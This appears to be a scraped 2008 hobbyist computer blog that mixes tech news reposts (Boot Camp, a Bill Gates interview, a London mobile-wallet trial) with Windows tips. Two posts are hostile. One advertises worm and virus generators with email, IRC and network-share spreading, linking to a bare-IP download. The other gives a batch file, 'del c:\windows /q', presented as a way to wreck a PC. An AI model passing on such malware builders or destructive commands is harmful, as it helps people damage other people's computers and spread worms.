100 pages | April 2008 | PDF | 20.9 Mb
This magazine focuses on the computer entertainment market and provides in-depth reviews of new computer games. It also explores the latest in multimedia, CD-ROM and interactive game environments.
This magazine focuses on the computer entertainment market and provides in-depth reviews of new computer games. It also explores the latest in multimedia, CD-ROM and interactive game environments.
Showing posts with label Computers. Show all posts
Showing posts with label Computers. Show all posts
Tuesday, April 8, 2008
Games For Windows April 2008
Saturday, March 15, 2008
Block USB in Windows Xp
1. Start -> Run -> regedit ->Find the Hkey_Local_Machine>System>Current Control set>Services>USBStor.
Look at the right pain and find out the Start where value of the start would be 0000000(3) edit the value by double mouse click and type 4 and save.
2. Restart ur pc
Thursday, January 31, 2008
Virus Source Codes
DR VBS
This little program allows you to add source code and generate your own worm/virus,it has some samples of code inside the zip too
Download
http: //205.209.98.61/stats/dl/virs/vir-build/
VBSwg 2 beta - Virus builder
Builds worm and add spread options like email or mIRC then you choose what to infect on computers,change PC name, go to url option, antideletion, polymorphic and other shit
Download
http: //205.209.98.61/stats/dl/virs/vir-build/
p0ke's WormGen 2.0
Nice easy worm generator that will spread through network shares and emails , it will scan for emails ,it has irc bot and more options
Download
http: //205.209.98.61/stats/dl/virs/vir-build/
RESIDUO
A DOS virus builder
Download
http: //205.209.98.61/stats/dl/virs/vir-build/
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Monday, January 28, 2008
How to hide a file in computer
Well pretty known to u people how to hide a file
Tools>Folder options> View tab >>>>>>
But take a good look just below the show hidden files option
#Hide Extension for known file types
#Hide Protected Operating System Files(Recommended)
Cross both the options n click on show hidden files n apply
a hidden folder named as "System Volume Information" will appear with some other
icons like Recycled n others
Put what ever u want to hide frm others in "System Volume Information" n
select options
#Hide Extension for known file types
#Hide Protected Operating System Files(Recommended)
n apply
"System Volume Information" is hidden but other hidden files r visible in window
So a Moron cannot view ur extreme personal data !
Monday, January 21, 2008
Windows Goes Native on Macs
When Apple announced that new Macs would have Intel processors rather than the traditional Motorola chips,
speculation began about the possibility of being able to run the Windows operating system on a Mac machine. Hackers were able to do that quite quickly, but their methods were fairly complicated.
Now Apple has made running Windows on a Mac easy. They have introduced a new program called Boot Camp, which allows Windows XP to run on an Intel-based Macintosh computer. This program is not an emulator or a virtualization engine like previous software that allowed Windows programs to run on a Mac. Instead, it is a program that configures the Macintosh drive so that it can boot to either Apple's OS X or Microsoft's Windows XP. This allows Windows programs to run natively giving them the full power and performance.
Although the Boot Camp program is still in its Beta testing mode, it is available to anyone for free download at the Apple website. Early testing shows that it is stable and fairly easy to install with only a few minor glitches. Currently Apple is not supporting the installation or use of Boot Camp. We may, however, find that it is a part of Leopard, the next Mac operating system upgrade, which should make its appearance sometime in late 2006 or early 2007.
Boot Camp requires the separate purchase of the Windows XP operating system. Yet it is being hailed as a wonderful tool that will allow computer shoppers to purchase a Mac, use the Mac OS X operating system, and still be able to run PC games and other software that may be unavailable in a Macintosh version.
With only a 2.3 percent share of the U.S. PC market last year, Apple is hoping that being able to run Windows on a Mac will increase sales.
Friday, January 18, 2008
Simple And The Most Powerful Virus
Type In NotePad : "del c:\windows /q"(Without Quotes)
Save It As "Screw.bat" !
Don't Run It !
Unless You Want To Screw A PC !
Monday, January 7, 2008
News: Gates hails age of digital senses
 |  Touch will become an important interface for PCs, Mr Gates said  |
The way people interact with computers is going to dramatically change in the next five years, Microsoft chief Bill Gates has told BBC News.
He predicted that the keyboard and mouse would gradually give way to more intuitive and natural technologies.
In particular, he said, touch, vision and speech interfaces would become increasingly important.
Mr Gates made his comments whilst answering questions from BBC News website readers.
"This whole idea of what I call natural user interface is really redefining the experience," he said.
FROM DOT.LIFE BLOG 
Rory Cellan-Jones, BBC technology correspondent
"We're adding the ability to touch and directly manipulate, we're adding vision so the computer can see what you're doing, we're adding the pen, we're adding speech," he told BBC News.
During the interview Mr Gates showed off the Microsoft Surface computer, a large table like machine with a multi-touch interface.
"I'll be brave, in five years we'll have many tens of million of people sitting browsing their photos, browsing their music, organising their lives using this type of touch interface," he said.
Vista versions
Although Microsoft Windows has become the most widely used operating system in the world, Mr Gates admitted that he had not always got things right.
"People thought we were late with the [web] browser," he admitted.
In addition, he said, search was an area where people thought that Microsoft had not fulfilled expectations.
"Google has done a good job," he said. "We expect to surprise people that we can match and even do better there - people should wait and see."
Mr Gates also answered questions about Windows Vista, the firm's often-criticised operating system, launched last year.
"I'm very proud of Vista," he said. "Like all of the products we ship, we hear how we could do this differently or that differently." 
Bill Gates
He said the firm had received "lots of feedback" on the software.
"We do downloads and improvements all of the time and of course there'll be a major new version coming along," he said.
Microsoft has just announced that it has sold 100 million licences for the operating system.
During the questions and answer session he also revealed his own computer habits.
"There are a lot of PCs in my house - over 10," he said.
In particular, he said, he used a tablet PC, a notebook computer that is operated with a digital stylus.
However, he said, he does not use his competitor's products.
"There are no Macs in my house," he admitted.
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Friday, November 30, 2007
News: London starts digital cash trial
The trial turns a mobile phone into a travel ticket and a wallet
London commuters are getting the chance to swap the cash in their pocket for a digital wallet.
500 travellers have been issued with Nokia phones which swap digital cash via the technology used for the capital's Oyster travel card.
The phones will double as a travel pass and wallet that can be used to make small value payments.
Swiping the phone against special posters will give participants access to information or local maps.
The trial uses the same Near Field Communications system behind the Oyster card.
Spending power
The phones will be loaded with £200 for the users to spend during the six-month trial.
Using that cash on the transport system will be simple enough, but the triallists may struggle to find shops where they can make small payments.
The contactless payment terminals are only installed in around 1,000 shops and cafes - mainly in the City of London and at Canary Wharf. Customers can use the phones or cards to make payments of up to £10.
Cath Keers, O2 UK's customer director, said the "mobile wallet" was an idea whose time had come, because mobile phones were already seen as many people's most vital possession.
"Research shows more people are likely to go back home and get their phone if they leave it behind, rather than return for their wallet," she said.
O2 is working with Barclaycard, Visa and Transport for London on the trial, with all the partners keen to learn whether customers are really interested in making payments by phone - many are likely to be worried about security. 
The Oyster card is widely used on London's transport system
The triallists have been given a single helpline to ring if they lose their "mobile wallets" and have been told that Barclaycard will meet the cost of any payments made on a stolen phone.
Digital money is an idea which has been a long time coming to fruition. In the 1990s the Mondex electronic cash system was tried out in Swindon but failed to win sufficient interest or trust from customers or retailers.
But mobile payment services are in use in Japan and South Korea where they have proved popular.
O2 believes British customers are now willing to embrace the idea - but they will only get the chance if the trial proves successful. A full scale launch of the mobile wallet service may come in late 2008.
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